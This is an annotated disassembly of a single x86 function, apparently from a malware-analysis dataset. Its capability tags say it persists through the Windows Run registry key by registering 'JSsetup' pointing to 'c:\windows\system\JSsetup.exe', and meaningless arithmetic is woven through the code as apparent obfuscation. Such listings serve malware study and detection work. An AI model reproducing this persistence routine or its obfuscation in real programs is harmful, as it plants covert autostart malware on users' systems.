Function at 0x406b80
Capabilities:
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4342a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x350
mov eax, dword [0x442230]
mov ecx, dword [0x4410bc]
mov dword [ebp - 0x14], eax
mov eax, 0x61f4f3e1
imul ecx
sar edx, 0x11
push ebx
mov ebx, dword [0x4410b8]
push esi
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0xa0c15
cdq
idiv ebx
push edi
mov dword [ebp - 0x358], esi
mov dword [ebp - 0x10], esp
mov edi, eax
mov eax, 0x1984ece9
imul ebx
sar edx, 0x10
add edi, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, edi
sub ecx, esi
mov eax, 0x197ad0b7
imul ecx
mov ecx, dword [0x4410cc]
mov eax, ecx
imul eax, eax, 0xa0887
sar edx, 0x10
mov edi, edx
shr edi, 0x1f
add edi, edx
add edi, eax
mov eax, 0x40499437
imul ecx
sar edx, 0xe
add edi, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, edi
xor esi, esi
mov dword [0x4410cc], ecx
mov ecx, dword [0x4410d0]
mov dword [ebp - 0x35c], esi
mov dword [ebp - 4], esi
mov esi, dword [0x4410b4]
mov eax, 0x3307af59
imul esi, esi, 0x53a0f
imul ecx
sar edx, 0x11
add esi, edx
mov ecx, ebx
imul ecx, ecx, 0xff4b
mov eax, edx
shr eax, 0x1f
add eax, esi
sub eax, ecx
mov dword [0x4410b4], eax
mov ecx, 9
mov esi, str.c:windows_systemjssetupJSsetup.exe
lea edi, [ebp - 0x348]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x4410c8]
mov eax, 0x3307af59
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4410c4]
movsw word es:[edi], word [esi]
mov esi, eax
mov eax, 0x1984ece9
imul edx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
imul ebx, ebx, 0xd454
mov edx, ecx
sub esi, eax
imul edx, edx, 0xff4b
sub esi, edx
mov eax, 0x61f4f3e1
imul ecx
mov ecx, dword [0x4410c0]
sar edx, 0x11
imul ecx, ecx, 0xa081a
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, ecx
mov eax, 0xa0c15
cdq
idiv ebx
mov dword [0x4410d0], esi
mov ecx, 0xb
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea edi, [ebp - 0x44]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x354], 0
mov dword [ebp - 0x34c], 1
mov dword [0x4410b8], ebx
movsw word es:[edi], word [esi]
mov ecx, eax
mov eax, 0x1984ece9
imul ebx
sar edx, 0x10
mov eax, edx
add ecx, edx
shr eax, 0x1f
add eax, ecx
sub eax, dword [ebp - 0x358]
lea ecx, [ebp - 0x354]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x44]
push edx
push reloc.WS2_32.dll_bind
mov dword [str._r_____r____], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40722b
mov ebx, dword [0x4410bc]
mov esi, dword [0x4410c0]
mov ecx, dword [0x4410b4]
mov eax, ebx
imul eax, eax, 0xa0c15
mov edi, esi
imul esi, esi, 0xa081a
imul edi, edi, 0x53a0f
sub edi, eax
mov eax, 0x3307af59
imul ecx
sar edx, 0x11
add edi, edx
xor eax, eax
mov ecx, edx
shr ecx, 0x1f
add ecx, edi
mov dword [0x4410d4], ecx
mov byte [ebp - 0x148], 0
mov ecx, 0x40
lea edi, [ebp - 0x147]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [0x4410b8]
mov eax, 0x61f4f3e1
imul ebx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xa0c15
cdq
idiv ecx
mov dword [ebp - 0x358], 0x104
mov dword [ebp - 0x350], 1
mov ebx, eax
mov eax, 0x1984ece9
imul ecx
imul ecx, ecx, 0xd454
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
sub ebx, edi
add ebx, edx
mov edx, dword [0x4410c8]
add eax, ebx
mov dword [str._r_____r____], eax
mov eax, 0x61f4f3e1
imul edx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, esi
mov dword [0x4410b8], ecx
lea ecx, [ebp - 0x358]
push ecx
mov ecx, dword [ebp - 0x354]
lea edx, [ebp - 0x148]
push edx
lea eax, [ebp - 0x350]
push eax
push 0
push str.JSsetup
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4070d1
mov ecx, dword [0x4410d0]
mov esi, dword [0x4410c4]
mov eax, 0xccf850a7
imul esi, esi, 0x3bf27
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x11
imul ecx, ecx, 0x181cd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
lea edx, [ebp - 0x148]
add eax, ecx
push edx
mov dword [0x4410bc], eax
call fcn.00403f50
mov ecx, dword [0x4410b4]
mov eax, 0x88a76c3f
imul ecx
add edx, ecx
mov ecx, dword [0x4410cc]
sar edx, 0x11
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x197ad0b7
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x10
add esi, edx
mov edi, edx
mov eax, 0x3307af59
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
shr edi, 0x1f
add eax, edx
add edi, esi
add esp, 4
sub edi, eax
lea eax, [ebp - 0x348]
mov dword [0x4410c0], edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406f02
sub eax, edx
push eax
lea ecx, [ebp - 0x348]
push ecx
lea edx, [ebp - 0x148]
push edx
call fcn.0041acd0
add esp, 0xc
test eax, eax
jne 0x406f88
mov esi, dword [0x4410b4]
mov eax, 0x88a76c3f
imul esi
add edx, esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x61f4f3e1
imul dword [0x4410c0]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, ecx
mov ecx, dword [0x4410d4]
mov eax, 0x402d6015
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov dword [0x4410c8], ecx
mov dword [ebp - 0x34c], 0
jmp 0x4070dd
lea eax, [ebp - 0x148]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406f91
sub eax, edx
cmp eax, 0xa
jbe 0x4070d1
mov ecx, dword [0x4410bc]
mov eax, 0x61f4f3e1
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x4410b8]
mov eax, 0xa0c15
cdq
idiv ecx
mov edi, eax
mov eax, 0x1984ece9
imul ecx
sar edx, 0x10
sub edi, esi
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov dword [str._r_____r____], eax
lea eax, [ebp - 0x148]
lea ecx, [ebp - 0x348]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x406ff2
lea ecx, [ebp - 0x348]
push 0x20
push ecx
call fcn.0041a530
mov esi, dword [0x4410b4]
mov edi, eax
mov eax, 0x88a76c3f
imul esi
add edx, esi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x61f4f3e1
imul dword [0x4410c0]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, ecx
mov ecx, dword [0x4410d4]
mov eax, 0x402d6015
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
add esp, 8
test edi, edi
mov dword [0x4410c8], ecx
je 0x407075
mov byte [edi], 0
mov esi, dword [0x4410b4]
mov ecx, dword [0x4410c8]
mov edi, dword [0x4410d0]
mov eax, 0x61f4f3e1
imul edi
sar edx, 0x11
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x4410bc]
mov eax, 0x3307af59
imul edx
sar edx, 0x11
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x1984ece9
imul edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov dword [0x4410c4], eax
mov dword [ebp - 0x34c], 2
jmp 0x4070dd
mov esi, dword [0x4410b4]
mov ecx, dword [0x4410c8]
mov eax, 0x3307af59
imul esi, esi, 0x53a0f
imul dword [0x4410d0]
sar edx, 0x11
mov eax, edx
add esi, edx
shr eax, 0x1f
add eax, esi
mov esi, dword [0x4410b8]
mov edx, esi
imul edx, edx, 0xff4b
sub eax, edx
mov dword [0x4410b4], eax
cmp dword [ebp - 0x34c], 1
jne 0x4071cc
mov eax, dword [ebp - 0x35c]
imul esi, esi, 0xd454
inc eax
mov dword [ebp - 0x35c], eax
mov eax, 0x61f4f3e1
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x4410c0]
imul eax, eax, 0xa081a
lea ecx, [ebp - 0x348]
sub esi, eax
push ecx
mov dword [0x4410b8], esi
call fcn.0041ab70
add esp, 4
push eax
mov eax, dword [ebp - 0x354]
lea edx, [ebp - 0x348]
push edx
push 1
push 0
push str.JSsetup
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [str._r_____r____]
mov eax, 0x197ad0b7
imul ecx
mov ecx, dword [0x4410cc]
sar edx, 0x10
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, ecx
imul edx, edx, 0xa0887
add esi, edx
mov eax, 0x40499437
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
push 0x1388
mov dword [0x4410cc], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x354]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, dword [0x4410b4]
mov eax, 0x88a76c3f
imul ebx
add edx, ebx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x61f4f3e1
imul dword [0x4410c0]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x402d6015
imul dword [0x4410d4]
sar edx, 0xe
sub esi, ecx
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov dword [0x4410c8], eax
jmp 0x407231
mov ebx, dword [0x4410b4]
mov edi, dword [0x4410bc]
imul ebx, ebx, 0x53a0f
mov esi, dword [0x4410b8]
mov eax, 0x61f4f3e1
imul edi
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xa0c15
cdq
idiv esi
sub eax, ecx
mov ecx, eax
mov eax, 0x1984ece9
imul esi
sar edx, 0x10
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x4410d0]
mov dword [str._r_____r____], eax
mov eax, 0x61f4f3e1
imul ecx
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x350], eax
mov eax, 0x3307af59
imul edi
mov edi, dword [ebp - 0x350]
sar edx, 0x11
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov dword [ebp - 0x350], eax
mov eax, 0x1984ece9
imul ecx
mov eax, dword [ebp - 0x350]
sar edx, 0x10
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, esi
imul eax, eax, 0xff4b
mov dword [ebp - 0x34c], eax
mov eax, 0x3307af59
imul ecx
sar edx, 0x11
add ebx, edx
mov ecx, edx
mov edx, dword [ebp - 0x34c]
shr ecx, 0x1f
add ecx, ebx
sub ecx, edx
mov eax, 0x3307af59
imul dword [0x4410c8]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x1984ece9
imul edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4410c8]
imul edx, edx, 0xff4b
sub ebx, eax
sub ebx, edx
imul ecx, ecx, 0x53a0f
mov dword [0x4410c4], edi
mov dword [0x4410d0], ebx
mov eax, 0x3307af59
imul ebx
imul esi, esi, 0xd454
imul edi, edi, 0x3bf27
sar edx, 0x11
add ecx, edx
mov ebx, edx
mov eax, 0x61f4f3e1
imul dword [0x4410c8]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
shr ebx, 0x1f
add ebx, ecx
sub ebx, dword [ebp - 0x34c]
mov ecx, dword [0x4410c0]
mov edx, ecx
imul edx, edx, 0xa081a
sub esi, edx
mov eax, 0xccf850a7
imul dword [0x4410d0]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
mov edi, dword [str._r_____r____]
mov edx, edi
imul edx, edx, 0x181cd
add eax, edx
mov dword [0x4410bc], eax
mov eax, 0x88a76c3f
imul ebx
add edx, ebx
sar edx, 0x11
mov dword [0x4410b8], esi
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x61f4f3e1
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x402d6015
imul dword [0x4410d4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
mov ecx, dword [0x4410cc]
sub eax, esi
mov dword [0x4410c8], eax
mov eax, 0x197ad0b7
imul ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [0x4410b4], ebx
mov ebx, eax
mov eax, 0x3307af59
imul edi
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, esi
mov dword [0x4410c0], ebx
jmp 0x407448
mov eax, 0x197ad0b7
imul edi
sar edx, 0x10
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, ecx
imul edx, edx, 0xa0887
add esi, edx
mov eax, 0x40499437
imul ecx
mov ecx, dword [ebp - 0xc]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
mov dword [0x4410cc], eax
mov eax, dword [ebp - 0x35c]
call fcn.00419f5d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret